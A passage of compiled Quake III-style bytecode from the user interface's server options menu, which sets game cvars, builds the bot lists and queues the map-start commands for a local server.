ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 $562 ARGP4 ADDRLP4 136 INDIRF4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop CNSTF4 0 ARGF4 ADDRLP4 140 ADDRLP4 80 INDIRI4 CVIF4 4 ASGNF4 ADDRLP4 140 INDIRF4 ARGF4 ADDRLP4 140 INDIRF4 ARGF4 ADDRLP4 144 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 $563 ARGP4 ADDRLP4 144 INDIRF4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop CNSTF4 0 ARGF4 ADDRLP4 148 ADDRLP4 84 INDIRI4 CVIF4 4 ASGNF4 ADDRLP4 148 INDIRF4 ARGF4 ADDRLP4 148 INDIRF4 ARGF4 ADDRLP4 152 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 $564 ARGP4 ADDRLP4 152 INDIRF4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $565 ARGP4 ADDRLP4 92 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $566 ARGP4 ADDRLP4 96 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 $567 ARGP4 ADDRGP4 s_serveroptions+1692+60+12 ARGP4 ADDRGP4 trap_Cvar_Set CALLV pop ADDRGP4 $571 ARGP4 ADDRGP4 s_serveroptions+5944+64 INDIRI4 CVIF4 4 ARGF4 ADDRGP4 trap_Cvar_SetValue CALLV pop ADDRGP4 s_startserver+1940 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 s_startserver+1956 ADDP4 INDIRI4 ARGI4 ADDRLP4 156 ADDRGP4 UI_GetArenaInfoByNumber CALLP4 ASGNP4 ADDRLP4 100 ADDRLP4 156 INDIRP4 ASGNP4 ADDRLP4 100 INDIRP4 ARGP4 ADDRGP4 $105 ARGP4 ADDRLP4 160 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRGP4 $576 ARGP4 ADDRLP4 160 INDIRP4 ARGP4 ADDRLP4 164 ADDRGP4 va CALLP4 ASGNP4 CNSTI4 2 ARGI4 ADDRLP4 164 INDIRP4 ARGP4 ADDRGP4 trap_Cmd_ExecuteText CALLV pop CNSTI4 2 ARGI4 ADDRGP4 $577 ARGP4 ADDRGP4 trap_Cmd_ExecuteText CALLV pop ADDRLP4 0 CNSTI4 1 ASGNI4 LABELV $578 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+64 ADDP4 INDIRI4 CNSTI4 1 EQI4 $582 ADDRGP4 $579 JUMPV LABELV $582 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 s_serveroptions+5728 ADDP4 INDIRI1 CVII4 1 CNSTI4 0 NEI4 $586 ADDRGP4 $579 JUMPV LABELV $586 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 s_serveroptions+5728 ADDP4 INDIRI1 CVII4 1 CNSTI4 45 NEI4 $589 ADDRGP4 $579 JUMPV LABELV $589 ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 LTI4 $592 ADDRLP4 4 ARGP4 CNSTI4 64 ARGI4 ADDRGP4 $595 ARGP4 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 s_serveroptions+5728 ADDP4 ARGP4 ADDRLP4 72 INDIRI4 ARGI4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+64 ADDP4 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 playerTeam_list ADDP4 INDIRP4 ARGP4 ADDRGP4 Com_sprintf CALLI4 pop ADDRGP4 $593 JUMPV LABELV $592 ADDRLP4 4 ARGP4 CNSTI4 64 ARGI4 ADDRGP4 $599 ARGP4 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 s_serveroptions+5728 ADDP4 ARGP4 ADDRLP4 72 INDIRI4 ARGI4 ADDRGP4 Com_sprintf CALLI4 pop LABELV $593 CNSTI4 2 ARGI4 ADDRLP4 4 ARGP4 ADDRGP4 trap_Cmd_ExecuteText CALLV pop LABELV $579 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 12 LTI4 $578 ADDRLP4 88 INDIRI4 CNSTI4 0 NEI4 $601 ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 LTI4 $601 ADDRGP4 $604 ARGP4 ADDRGP4 s_serveroptions+4272+64 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 playerTeam_list ADDP4 INDIRP4 ARGP4 ADDRLP4 168 ADDRGP4 va CALLP4 ASGNP4 CNSTI4 2 ARGI4 ADDRLP4 168 INDIRP4 ARGP4 ADDRGP4 trap_Cmd_ExecuteText CALLV pop LABELV $601 LABELV $511 endproc ServerOptions_Start 172 24 proc ServerOptions_InitPlayerItems 12 12 ADDRGP4 s_serveroptions+5688 INDIRI4 CNSTI4 0 EQI4 $608 ADDRLP4 4 CNSTI4 0 ASGNI4 ADDRGP4 $609 JUMPV LABELV $608 ADDRLP4 4 CNSTI4 1 ASGNI4 LABELV $609 ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $611 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+64 ADDP4 ADDRLP4 4 INDIRI4 ASGNI4 LABELV $612 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 12 LTI4 $611 ADDRGP4 s_serveroptions+5688 INDIRI4 CNSTI4 0 EQI4 $617 ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 GEI4 $617 ADDRLP4 0 CNSTI4 8 ASGNI4 LABELV $621 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+64 ADDP4 CNSTI4 2 ASGNI4 LABELV $622 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 12 LTI4 $621 LABELV $617 ADDRGP4 s_serveroptions+536+64 INDIRI4 CNSTI4 0 NEI4 $627 ADDRLP4 8 ADDRGP4 s_serveroptions+2256+44 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRU4 CNSTU4 16384 BORU4 ASGNU4 ADDRGP4 s_serveroptions+2256+64 CNSTI4 0 ASGNI4 ADDRGP4 $635 ARGP4 ADDRGP4 s_serveroptions+5728 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 trap_Cvar_VariableStringBuffer CALLV pop ADDRGP4 s_serveroptions+5728 ARGP4 ADDRGP4 Q_CleanStr CALLP4 pop LABELV $627 ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 LTI4 $639 ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $642 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+64 ADDP4 CNSTI4 0 ASGNI4 LABELV $643 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 6 LTI4 $642 ADDRGP4 $651 JUMPV LABELV $648 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+64 ADDP4 CNSTI4 1 ASGNI4 LABELV $649 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $651 ADDRLP4 0 INDIRI4 CNSTI4 12 LTI4 $648 ADDRGP4 $640 JUMPV LABELV $639 ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $654 ADDRLP4 8 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+44 ADDP4 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRU4 CNSTU4 20480 BORU4 ASGNU4 LABELV $655 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 12 LTI4 $654 LABELV $640 LABELV $607 endproc ServerOptions_InitPlayerItems 12 12 proc ServerOptions_SetPlayerItems 12 0 ADDRGP4 s_serveroptions+536+64 INDIRI4 CNSTI4 0 NEI4 $661 ADDRGP4 s_serveroptions+2184+60 ADDRGP4 $667 ASGNP4 ADDRLP4 8 ADDRGP4 s_serveroptions+3408+44 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRU4 CNSTU4 4294963199 BANDU4 ASGNU4 ADDRLP4 4 CNSTI4 1 ASGNI4 ADDRGP4 $662 JUMPV LABELV $661 ADDRGP4 s_serveroptions+2184+60 ADDRGP4 $481 ASGNP4 ADDRLP4 4 CNSTI4 0 ASGNI4 LABELV $662 ADDRLP4 0 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 $675 JUMPV LABELV $672 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+64 ADDP4 INDIRI4 CNSTI4 1 NEI4 $676 ADDRLP4 8 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408+44 ADDP4 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRU4 CNSTU4 4294946815 BANDU4 ASGNU4 ADDRGP4 $677 JUMPV LABELV $676 ADDRLP4 8 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408+44 ADDP4 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRU4 CNSTU4 20480 BORU4 ASGNU4 LABELV $677 LABELV $673 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $675 ADDRLP4 0 INDIRI4 CNSTI4 12 LTI4 $672 ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 GEI4 $684 ADDRGP4 $660 JUMPV LABELV $684 ADDRLP4 0 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 $690 JUMPV LABELV $687 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+64 ADDP4 INDIRI4 CNSTI4 2 NEI4 $691 ADDRLP4 8 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+44 ADDP4 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRU4 CNSTU4 20480 BORU4 ASGNU4 ADDRGP4 $692 JUMPV LABELV $691 ADDRLP4 8 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+44 ADDP4 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRU4 CNSTU4 4294946815 BANDU4 ASGNU4 LABELV $692 LABELV $688 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $690 ADDRLP4 0 INDIRI4 CNSTI4 12 LTI4 $687 LABELV $660 endproc ServerOptions_SetPlayerItems 12 0 proc ServerOptions_Event 8 0 ADDRLP4 0 ADDRFP4 0 INDIRP4 CNSTI4 8 ADDP4 INDIRI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 18 LTI4 $700 ADDRLP4 0 INDIRI4 CNSTI4 24 GTI4 $700 ADDRLP4 0 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 $716-72 ADDP4 INDIRP4 JUMPV lit align 4 LABELV $716 address $710 address $700 address $703 address $706 address $706 address $707 address $713 code LABELV $703 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $704 ADDRGP4 $701 JUMPV LABELV $704 ADDRGP4 ServerOptions_SetPlayerItems CALLV pop ADDRGP4 $701 JUMPV LABELV $706 ADDRGP4 ServerOptions_SetPlayerItems CALLV pop ADDRGP4 $701 JUMPV LABELV $707 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $708 ADDRGP4 $701 JUMPV LABELV $708 ADDRGP4 ServerOptions_Start CALLV pop ADDRGP4 $701 JUMPV LABELV $710 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $701 ADDRGP4 $701 JUMPV LABELV $713 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $714 ADDRGP4 $701 JUMPV LABELV $714 ADDRGP4 UI_PopMenu CALLV pop LABELV $700 LABELV $701 LABELV $699 endproc ServerOptions_Event 8 0 proc ServerOptions_PlayerNameEvent 4 4 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $719 ADDRGP4 $718 JUMPV LABELV $719 ADDRLP4 0 ADDRFP4 0 INDIRP4 CNSTI4 8 ADDP4 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+5924 ADDRLP4 0 INDIRI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 s_serveroptions+5728 ADDP4 ARGP4 ADDRGP4 UI_BotSelectMenu CALLV pop LABELV $718 endproc ServerOptions_PlayerNameEvent 4 4 proc ServerOptions_StatusBar 4 20 ADDRLP4 0 ADDRFP4 0 INDIRP4 CNSTI4 8 ADDP4 INDIRI4 ASGNI4 ADDRGP4 $724 JUMPV LABELV $724 CNSTI4 320 ARGI4 CNSTI4 440 ARGI4 ADDRGP4 $727 ARGP4 CNSTI4 17 ARGI4 ADDRGP4 colorWhite ARGP4 ADDRGP4 UI_DrawString CALLV pop LABELV $725 LABELV $723 endproc ServerOptions_StatusBar 4 20 proc ServerOptions_LevelshotDraw 20 20 ADDRGP4 s_serveroptions+5920 INDIRI4 CNSTI4 0 EQI4 $729 ADDRGP4 s_serveroptions+5924 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 s_serveroptions+5728 ADDP4 ARGP4 ADDRGP4 s_serveroptions+5928 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRGP4 s_serveroptions+5920 CNSTI4 0 ASGNI4 LABELV $729 ADDRLP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRLP4 0 INDIRP4 ARGP4 ADDRGP4 Bitmap_Draw CALLV pop ADDRLP4 8 ADDRLP4 0 INDIRP4 CNSTI4 12 ADDP4 INDIRI4 ASGNI4 ADDRLP4 4 ADDRLP4 0 INDIRP4 CNSTI4 16 ADDP4 INDIRI4 ADDRLP4 0 INDIRP4 CNSTI4 80 ADDP4 INDIRI4 ADDI4 ASGNI4 ADDRLP4 8 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 4 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 0 INDIRP4 CNSTI4 76 ADDP4 INDIRI4 CVIF4 4 ARGF4 CNSTF4 1109393408 ARGF4 ADDRGP4 colorBlack ARGP4 ADDRGP4 UI_FillRect CALLV pop ADDRLP4 8 ADDRLP4 8 INDIRI4 ADDRLP4 0 INDIRP4 CNSTI4 76 ADDP4 INDIRI4 CNSTI4 2 DIVI4 ADDI4 ASGNI4 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 4 ADDI4 ASGNI4 ADDRLP4 8 INDIRI4 ARGI4 ADDRLP4 4 INDIRI4 ARGI4 ADDRGP4 s_serveroptions+5696 ARGP4 CNSTI4 17 ARGI4 ADDRGP4 color_orange ARGP4 ADDRGP4 UI_DrawString CALLV pop ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 16 ADDI4 ASGNI4 ADDRLP4 8 INDIRI4 ARGI4 ADDRLP4 4 INDIRI4 ARGI4 ADDRLP4 16 CNSTI4 2 ASGNI4 ADDRGP4 s_serveroptions+5692 INDIRI4 ADDRLP4 16 INDIRI4 LSHI4 ADDRGP4 gametype_remap2 ADDP4 INDIRI4 ADDRLP4 16 INDIRI4 LSHI4 ADDRGP4 gametype_items ADDP4 INDIRP4 ARGP4 CNSTI4 17 ARGI4 ADDRGP4 color_orange ARGP4 ADDRGP4 UI_DrawString CALLV pop LABELV $728 endproc ServerOptions_LevelshotDraw 20 20 proc ServerOptions_InitBotNames 1072 12 ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 LTI4 $739 ADDRGP4 s_serveroptions+5728+16 ARGP4 ADDRGP4 $744 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRGP4 s_serveroptions+5728+32 ARGP4 ADDRGP4 $747 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 NEI4 $748 ADDRGP4 s_serveroptions+5728+48 ARGP4 ADDRGP4 $753 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRGP4 $749 JUMPV LABELV $748 ADDRGP4 s_serveroptions+2256+288+64 CNSTI4 2 ASGNI4 LABELV $749 ADDRGP4 s_serveroptions+2256+384+64 CNSTI4 2 ASGNI4 ADDRGP4 s_serveroptions+2256+480+64 CNSTI4 2 ASGNI4 ADDRGP4 s_serveroptions+5728+96 ARGP4 ADDRGP4 $765 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRGP4 s_serveroptions+5728+112 ARGP4 ADDRGP4 $744 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRGP4 s_serveroptions+5728+128 ARGP4 ADDRGP4 $747 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 NEI4 $770 ADDRGP4 s_serveroptions+5728+144 ARGP4 ADDRGP4 $753 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRGP4 $771 JUMPV LABELV $770 ADDRGP4 s_serveroptions+2256+864+64 CNSTI4 2 ASGNI4 LABELV $771 ADDRGP4 s_serveroptions+2256+960+64 CNSTI4 2 ASGNI4 ADDRGP4 s_serveroptions+2256+1056+64 CNSTI4 2 ASGNI4 ADDRGP4 $738 JUMPV LABELV $739 ADDRLP4 4 CNSTI4 1 ASGNI4 ADDRGP4 s_serveroptions+5696 ARGP4 ADDRLP4 1048 ADDRGP4 UI_GetArenaInfoByMap CALLP4 ASGNP4 ADDRLP4 1044 ADDRLP4 1048 INDIRP4 ASGNP4 ADDRLP4 1044 INDIRP4 ARGP4 ADDRGP4 $785 ARGP4 ADDRLP4 1052 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 20 ARGP4 ADDRLP4 1052 INDIRP4 ARGP4 CNSTI4 1024 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRLP4 0 ADDRLP4 20 ASGNP4 ADDRGP4 $787 JUMPV LABELV $789 ADDRLP4 0 ADDRLP4 0 INDIRP4 CNSTI4 1 ADDP4 ASGNP4 LABELV $790 ADDRLP4 1056 ADDRLP4 0 INDIRP4 INDIRI1 CVII4 1 ASGNI4 ADDRLP4 1056 INDIRI4 CNSTI4 0 EQI4 $792 ADDRLP4 1056 INDIRI4 CNSTI4 32 EQI4 $789 LABELV $792 ADDRLP4 0 INDIRP4 CVPU4 4 CNSTU4 0 NEU4 $793 ADDRGP4 $788 JUMPV LABELV $793 ADDRLP4 8 ADDRLP4 0 INDIRP4 ASGNP4 ADDRGP4 $796 JUMPV LABELV $795 ADDRLP4 0 ADDRLP4 0 INDIRP4 CNSTI4 1 ADDP4 ASGNP4 LABELV $796 ADDRLP4 1060 ADDRLP4 0 INDIRP4 INDIRI1 CVII4 1 ASGNI4 ADDRLP4 1060 INDIRI4 CNSTI4 0 EQI4 $798 ADDRLP4 1060 INDIRI4 CNSTI4 32 NEI4 $795 LABELV $798 ADDRLP4 0 INDIRP4 INDIRI1 CVII4 1 CNSTI4 0 EQI4 $799 ADDRLP4 1064 ADDRLP4 0 INDIRP4 ASGNP4 ADDRLP4 0 ADDRLP4 1064 INDIRP4 CNSTI4 1 ADDP4 ASGNP4 ADDRLP4 1064 INDIRP4 CNSTI1 0 ASGNI1 LABELV $799 ADDRLP4 8 INDIRP4 ARGP4 ADDRLP4 1064 ADDRGP4 UI_GetBotInfoByName CALLP4 ASGNP4 ADDRLP4 12 ADDRLP4 1064 INDIRP4 ASGNP4 ADDRLP4 12 INDIRP4 CVPU4 4 CNSTU4 0 NEU4 $801 ADDRLP4 4 INDIRI4 ARGI4 ADDRLP4 1068 ADDRGP4 UI_GetBotInfoByNumber CALLP4 ASGNP4 ADDRLP4 12 ADDRLP4 1068 INDIRP4 ASGNP4 LABELV $801 ADDRLP4 12 INDIRP4 ARGP4 ADDRGP4 $635 ARGP4 ADDRLP4 1068 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 8 ADDRLP4 1068 INDIRP4 ASGNP4 ADDRLP4 4 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 s_serveroptions+5728 ADDP4 ARGP4 ADDRLP4 8 INDIRP4 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $787 ADDRLP4 0 INDIRP4 INDIRI1 CVII4 1 CNSTI4 0 EQI4 $805 ADDRLP4 4 INDIRI4 CNSTI4 12 LTI4 $790 LABELV $805 LABELV $788 ADDRLP4 16 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 $809 JUMPV LABELV $806 ADDRLP4 16 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 s_serveroptions+5728 ADDP4 ARGP4 ADDRGP4 $811 ARGP4 ADDRGP4 qk_strcpy CALLP4 pop LABELV $807 ADDRLP4 16 ADDRLP4 16 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $809 ADDRLP4 16 INDIRI4 CNSTI4 12 LTI4 $806 ADDRGP4 $815 JUMPV LABELV $812 CNSTI4 96 ADDRLP4 4 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+64 ADDP4 CNSTI4 0 ASGNI4 LABELV $813 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $815 ADDRLP4 4 INDIRI4 CNSTI4 8 LTI4 $812 ADDRGP4 $821 JUMPV LABELV $818 CNSTI4 96 ADDRLP4 4 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+64 ADDP4 INDIRI4 CNSTI4 1 NEI4 $822 CNSTI4 96 ADDRLP4 4 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+64 ADDP4 CNSTI4 2 ASGNI4 LABELV $822 LABELV $819 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $821 ADDRLP4 4 INDIRI4 CNSTI4 12 LTI4 $818 LABELV $738 endproc ServerOptions_InitBotNames 1072 12 bss align 1 LABELV $829 skip 64 code proc ServerOptions_SetMenuItems 104 16 ADDRLP4 20 ADDRGP4 s_serveroptions+5692 INDIRI4 ASGNI4 ADDRLP4 20 INDIRI4 CNSTI4 0 LTI4 $830 ADDRLP4 20 INDIRI4 CNSTI4 4 GTI4 $830 ADDRLP4 20 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 $866 ADDP4 INDIRP4 JUMPV lit align 4 LABELV $866 address $833 address $841 address $830 address $848 address $857 code LABELV $833 LABELV $830 ADDRGP4 $546 ARGP4 ADDRLP4 24 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1148829696 ARGF4 ADDRLP4 24 INDIRF4 ARGF4 ADDRLP4 28 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+964+60+12 ARGP4 CNSTI4 4 ARGI4 ADDRGP4 $837 ARGP4 ADDRLP4 28 INDIRF4 CVFI4 4 ARGI4 ADDRGP4 Com_sprintf CALLI4 pop ADDRGP4 $547 ARGP4 ADDRLP4 32 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1148829696 ARGF4 ADDRLP4 32 INDIRF4 ARGF4 ADDRLP4 36 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+632+60+12 ARGP4 CNSTI4 4 ARGI4 ADDRGP4 $837 ARGP4 ADDRLP4 36 INDIRF4 CVFI4 4 ARGI4 ADDRGP4 Com_sprintf CALLI4 pop ADDRGP4 $831 JUMPV LABELV $841 ADDRGP4 $549 ARGP4 ADDRLP4 40 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1148829696 ARGF4 ADDRLP4 40 INDIRF4 ARGF4 ADDRLP4 44 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+964+60+12 ARGP4 CNSTI4 4 ARGI4 ADDRGP4 $837 ARGP4 ADDRLP4 44 INDIRF4 CVFI4 4 ARGI4 ADDRGP4 Com_sprintf CALLI4 pop ADDRGP4 $550 ARGP4 ADDRLP4 48 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1148829696 ARGF4 ADDRLP4 48 INDIRF4 ARGF4 ADDRLP4 52 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+632+60+12 ARGP4 CNSTI4 4 ARGI4 ADDRGP4 $837 ARGP4 ADDRLP4 52 INDIRF4 CVFI4 4 ARGI4 ADDRGP4 Com_sprintf CALLI4 pop ADDRGP4 $831 JUMPV LABELV $848 ADDRGP4 $552 ARGP4 ADDRLP4 56 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1148829696 ARGF4 ADDRLP4 56 INDIRF4 ARGF4 ADDRLP4 60 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+964+60+12 ARGP4 CNSTI4 4 ARGI4 ADDRGP4 $837 ARGP4 ADDRLP4 60 INDIRF4 CVFI4 4 ARGI4 ADDRGP4 Com_sprintf CALLI4 pop ADDRGP4 $553 ARGP4 ADDRLP4 64 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1148829696 ARGF4 ADDRLP4 64 INDIRF4 ARGF4 ADDRLP4 68 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+632+60+12 ARGP4 CNSTI4 4 ARGI4 ADDRGP4 $837 ARGP4 ADDRLP4 68 INDIRF4 CVFI4 4 ARGI4 ADDRGP4 Com_sprintf CALLI4 pop ADDRGP4 $554 ARGP4 ADDRLP4 72 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1065353216 ARGF4 ADDRLP4 72 INDIRF4 ARGF4 ADDRLP4 76 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+1628+60 ADDRLP4 76 INDIRF4 CVFI4 4 ASGNI4 ADDRGP4 $831 JUMPV LABELV $857 ADDRGP4 $556 ARGP4 ADDRLP4 80 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1120403456 ARGF4 ADDRLP4 80 INDIRF4 ARGF4 ADDRLP4 84 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+1296+60+12 ARGP4 CNSTI4 4 ARGI4 ADDRGP4 $837 ARGP4 ADDRLP4 84 INDIRF4 CVFI4 4 ARGI4 ADDRGP4 Com_sprintf CALLI4 pop ADDRGP4 $557 ARGP4 ADDRLP4 88 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1148829696 ARGF4 ADDRLP4 88 INDIRF4 ARGF4 ADDRLP4 92 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+632+60+12 ARGP4 CNSTI4 4 ARGI4 ADDRGP4 $837 ARGP4 ADDRLP4 92 INDIRF4 CVFI4 4 ARGI4 ADDRGP4 Com_sprintf CALLI4 pop ADDRGP4 $558 ARGP4 ADDRLP4 96 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1065353216 ARGF4 ADDRLP4 96 INDIRF4 ARGF4 ADDRLP4 100 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+1628+60 ADDRLP4 100 INDIRF4 CVFI4 4 ASGNI4 LABELV $831 ADDRGP4 $567 ARGP4 ADDRLP4 24 ADDRGP4 UI_Cvar_VariableString CALLP4 ASGNP4 ADDRGP4 s_serveroptions+1692+60+12 ARGP4 ADDRLP4 24 INDIRP4 ARGP4 CNSTI4 256 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRGP4 $566 ARGP4 ADDRLP4 28 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1065353216 ARGF4 ADDRLP4 28 INDIRF4 ARGF4 ADDRLP4 32 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+2024+60 ADDRLP4 32 INDIRF4 CVFI4 4 ASGNI4 ADDRGP4 s_startserver+1940 